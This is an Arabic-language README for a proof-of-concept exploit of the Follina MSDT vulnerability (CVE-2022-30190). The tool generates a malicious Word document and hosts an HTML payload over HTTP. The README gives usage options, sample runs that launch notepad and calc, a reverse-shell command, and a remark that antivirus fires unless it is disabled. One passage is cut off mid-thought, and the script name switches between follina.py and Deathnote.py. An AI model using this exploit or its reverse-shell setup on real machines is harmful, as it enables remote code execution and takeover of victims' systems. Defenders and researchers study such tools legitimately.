
إثبات المفهوم لـ CVE-2022-30190
توجد ثغرة أمنية لتنفيذ التعليمات البرمجية عن بُعد عند استدعاء MSDT باستخدام بروتوكول URL من تطبيق يستدعيها مثل Word. يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح تشغيل تعليمات برمجية عشوائية بصلاحيات التطبيق المستدعي. بعد ذلك يمكن للمهاجم تثبيت البرامج، أو عرض البيانات أو تغييرها أو حذفها، أو إنشاء حسابات جديدة في السياق الذي تسمح به صلاحيات المستخدم.
أنشئ هجوم "Deathnote" من نوع MS-MSDT باستخدام مستند Microsoft Word خبيث، وقم بتجهيز حمولة (payload) عبر خادم HTTP.
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: Notepad)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./Deathnote.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
تشغيل notepad.exe:
$ python3 Deathnote.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./Deathnote.doc
[+] serving html payload on :8000
تشغيل calc.exe:
$ python3 Deathnote.py -c "calc"

C:\Windows\Tasks. لا يقوم بتنظيف الملف الثنائي. سيؤدي هذا إلى إطلاق كشوفات مكافحة الفيروسات ما لم يتم تعطيل AV.احصل على reverse shell:
python3 Deathnote.py -p 1234